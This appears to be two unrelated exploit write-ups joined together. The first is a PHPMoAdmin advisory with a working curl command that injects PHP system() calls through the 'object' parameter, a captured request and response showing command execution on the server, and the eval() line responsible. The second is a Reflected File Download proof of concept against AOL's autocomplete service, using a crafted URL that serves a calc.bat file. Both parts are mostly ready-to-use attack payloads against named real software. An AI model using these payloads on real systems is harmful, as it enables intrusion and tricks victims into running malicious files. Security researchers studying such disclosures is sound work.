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###################################################################### # _ ___ _ _ ____ ____ _ _____ # | | / _ \| \ | |/ ___|/ ___| / \|_ _| # | | | | | | \| | | _| | / _ \ | | # | |__| |_| | |\ | |_| | |___ / ___ \| | # |_____\___/|_| \_|\____|\____/_/ \_\_| # # PHPMoAdmin Unauthorized Remote Code Execution (0-Day) # Website : http://www.phpmoadmin.com/ # Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio # Release dates : March 3, 2015 # # Special Thanks to 2600 Thailand group # https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/ # ######################################################################## [+] Description ============================================================ PHPMoAdmin is a MongoDB administration tool for PHP built on a stripped-down version of the Vork high-performance framework. [+] Exploit ============================================================ Someone was trying to sale this shit for 3000usd lolz $ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit" [+] Proof-of-Concept ============================================================ PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7 POST /moadmin/moadmin.php HTTP/1.1 Host: 192.168.33.10 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 34 object=1;system('id;ls -lha');exit HTTP/1.1 200 OK Date: Tue, 03 Mar 2015 16:57:40 GMT Server: Apache/2.4.7 (Ubuntu) Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 223 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html uid=33(www-data) gid=33(www-data) groups=33(www-data) total 116K drwxr-xr-x 1 longcat longcat 102 Mar 3 16:55 . drwxr-xr-x 6 root root 4.0K Mar 3 16:17 .. -rw-rw-r-- 1 longcat longcat 112K Mar 3 16:55 moadmin.php [+] Vulnerability Analysis ============================================================ Filename: moadmin.php 1. create new moadminComponent object 1977: $mo = new moadminComponent; 2. if the http-post parameter 'object' is set 738: class moadminComponent { ... 762: public function __construct() { ... 786: if (isset($_POST['object'])) { 787: if (self::$model->saveObject($_GET['collection'], $_POST['object'])) { ... 3. evaluate the value of 'object' as PHP code 692: public function saveObject($collection, $obj) { 693: eval('$obj=' . $obj . ';'); //cast from string to array Source

Oren Hafif reported a new kind of attack called Reflected File Download (https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-new-web-attack-vector) in Black Hat Europe 2014 conference. More details about the attack you can found in his public presentation: https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf. Google and Bing have already fixed the vulnerability but I've found the same vulnerability in AOL Search Website. A malicious user could send the link below to a victim that you download a malicious batch file from autocomplete.search.aol.com domain. In the link below we have search for 'iramar "||calc||' using the AOL autocomplete domain. The browser will encode the double quotes but the server will escape it (\") and return inside the json on the body response. Since the response has the header "Content-Type: application/x-suggestions+json;charset=UTF-8" the browser will automatically try to download the reflected file. Chrome didn't try to download the file but Internet Explorer and Firefox will. http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar"||calc||&it=ws-landing&dict=en_us_search&count=8&output=json REQUEST GET http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar%22||calc||&it=ws-landing&dict=en_us_search&count=8&output=json HTTP/1.1 Host: autocomplete.search.aol.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ... Connection: keep-alive RESPONSE HTTP/1.1 200 OK Date: Tue, 21 Oct 2014 10:30:34 GMT Server: Apache-Coyote/1.1 Content-Type: application/x-suggestions+json;charset=UTF-8 Content-Language: en-US Content-Length: 24 Keep-Alive: timeout=5, max=10 Connection: Keep-Alive ["iramar\"||calc||", []] Source